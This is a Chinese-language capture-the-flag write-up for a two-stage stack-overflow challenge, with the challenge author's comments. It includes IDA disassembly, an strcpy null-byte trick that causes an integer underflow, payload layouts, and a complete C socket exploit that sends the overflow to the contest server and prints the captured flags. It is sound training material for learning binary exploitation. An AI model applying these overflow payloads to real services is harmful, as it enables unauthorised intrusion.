@pnck
2015-04-15T13:55:58.000000Z
字数 4821
阅读 2184
writeup
by program author: 刚放出来一天就被秒了,吓屎了……以后求组队带我飞啊!
一道栈溢出的题目。
nc连接上去之后是3个选项。其中1,2都有字符串的输入。先丢ida分析。
根据一些字符串的输出理清函数的调用关系。先按照提示尝试step1.
.text:0804891E 09C cmp [ebp+var_D], 5Ch ; <-比较[esp+var_D]与5Ch。成功这调用函数打印flag。
.text:08048922 09C jnz short loc_8048956
.text:08048924 09C sub esp, 0Ch
.text:08048927 0A8 push offset aCongratulation ; "Congratulations you've got the point!"
.text:0804892C 0AC call _puts
.text:08048931 0AC add esp, 10h
.text:08048934 09C sub esp, 0Ch
.text:08048937 0A8 push offset aGiveYouWhatYou ; "Give you what you want:"
.text:0804893C 0AC call _puts
.text:08048941 0AC add esp, 10h
.text:08048944 09C sub esp, 0Ch
.text:08048947 0A8 push offset file ; "flags/step1"
.text:0804894C 0AC call sub_80486AB ; <-打印flag的函数。参数是flags/step1
.text:08048951 0AC add esp, 10h
.text:08048954 09C jmp short loc_8048966 ; Jump
.text:08048956 ; ---------------------------------------------------------------------------
.text:08048956
.text:08048956 loc_8048956: ; CODE XREF: sub_8048781+1A1↑j
.text:08048956 09C sub esp, 0Ch
.text:08048959 0A8 push offset aYes__youSeeRot ; "Yes..you see ROT13 runing well but do y"...
.text:0804895E 0AC call _puts
.text:08048963 0AC add esp, 10h
前面还有个不限长度的gets函数,所以是只要输入字符串覆盖就可以了。
构造字符串'a'*(0x94-0x0D)
+ 0x5c
(就是字符'\')
手工输入得到flag:hctf{H3rE_1s_iT}
分析step2的程序流程,首先输入密码。密码为明文很容易发现为"=L=why_dont_you_guess_me?"输入正确后提示输入验证码,为109然后就结束了。
随后我再查找.const段发现字符串"flags/step2"猜想使用这个参数调用step1中打印flag的函数,但是两个输入函数都是限制了输入长度的,所以没有办法进行栈溢出攻击。
于是仔细的分析step2的代码。发现在strcpy处有一个漏洞,因为strcpy复制后总是加上'\0'
,正好将[esp+var_c]处的用以限制输入长度变量覆盖为0.
.text:08048A01 sub esp, 8
.text:08048A04 lea eax, [ebp+nptr]
.text:08048A0A push eax ; src
.text:08048A0B lea eax, [ebp+dest]
.text:08048A0E push eax ; dest
.text:08048A0F call _strcpy ;这里的strcpy把[esp+var_c]处变量覆盖为零。
.text:08048A14 add esp, 10h
.text:08048A17 sub esp, 0Ch
.text:08048A1A push offset aOh__andINeedTo ; "Oh..And,I need to check if you are huma"...
.text:08048A1F call _puts
.text:08048A24 add esp, 10h
.text:08048A27 sub esp, 0Ch
.text:08048A2A push offset aPleaseCalculat ; "Please calculate:?"...
.text:08048A2F call _puts
.text:08048A34 add esp, 10h
.text:08048A37 mov eax, [ebp+var_C]
.text:08048A3A sub eax, 1 ; <-这里是关键,将已经为0的eax再减去1。可以溢出啦。
.text:08048A3D sub esp, 4
.text:08048A40 push 0Ah
.text:08048A42 push eax
.text:08048A43 lea eax, [ebp+nptr]
.text:08048A49 push eax
.text:08048A4A call sub_804870E ;可以在这里开心的构造溢出了
所以最终思路是
=L=why_dont_you_guess_me?
+ 'a'*38
+ '\n'
覆盖变量。119
+ '\0'*1101
+ 0x0804894C
(函数地址) + 0x08048c3a
(参数地址) + '\n'
本人是个渣,不会用高大上的python,所以用c语言写了段代码。。
by program author: WTF? 用C写了段代码?! 你们谁写过socket程序? @差点被军哥踢走的niko
#include <winsock2.h>
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
int main (void)
{
int i;
WSADATA wsaData;
SOCKET sockClient;
SOCKADDR_IN addrServer;
char recvBuf[5000]={0};
WSAStartup(MAKEWORD(2,2),&wsaData);
sockClient=socket(AF_INET,SOCK_STREAM,0);
addrServer.sin_addr.S_un.S_addr=inet_addr("121.41.49.63");
addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7777);
connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
char message[2000]={'2','\x0a'};
send(sockClient,message,2,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
for(i=0;i<64;i++)
message[i]='1';
message[64]='\x0a';
strcpy_s(message,26,"=L=why_dont_you_guess_me?");
message[25]='1';
send(sockClient,message,65,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<5000;recvBuf[i]=0,i++);
for(i=0;i<1104;i++)
message[i]='\0';
message[1104]=0x4c;
message[1105]=0x89;
message[1106]=0x04;
message[1107]=0x08;
message[1108]=0x3a;
message[1109]=0x8c;
message[1110]=0x04;
message[1111]=0x08;
message[1112]=0x0a;
message[0]='1';
message[1]='0';
message[2]='9';
send(sockClient,message,1113,0);
Sleep(1000);
recv(sockClient,recvBuf,5000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
closesocket(sockClient);
WSACleanup();
}
Welcome PWN-Step. Where are you at?
1) Newbie
2) I've known something.
3) QooBee is just a piece of cake.
*****************************************************************
Step2.Things get complicated, you'll need some professional tricks.Try your best!
You need to give me a password to read the flag.
*****************************************************************
Oh..And,I need to check if you are human beings.
Please calculate:二十三 plus 0x56 = ?
*****************************************************************
passwd:
your answer:109
Yes,you are able to do some reverse engineering,but here is not the way to get flag.
flag: hctf{W0w_sub4rA5Hi!}
*****************************************************************
by program author:
step2 是仿照sctf2014 pwn200的思路写的,做了简化,一开始程序逻辑还有些问题,比如可以直接用step1的gets来打step2啦,长度限制根本没起到迷惑性的作用啦等等,还是被做出来之后经过交流才知道的orz
看过writeup之后更感觉肯定不只是一两天功力,未来大腿get√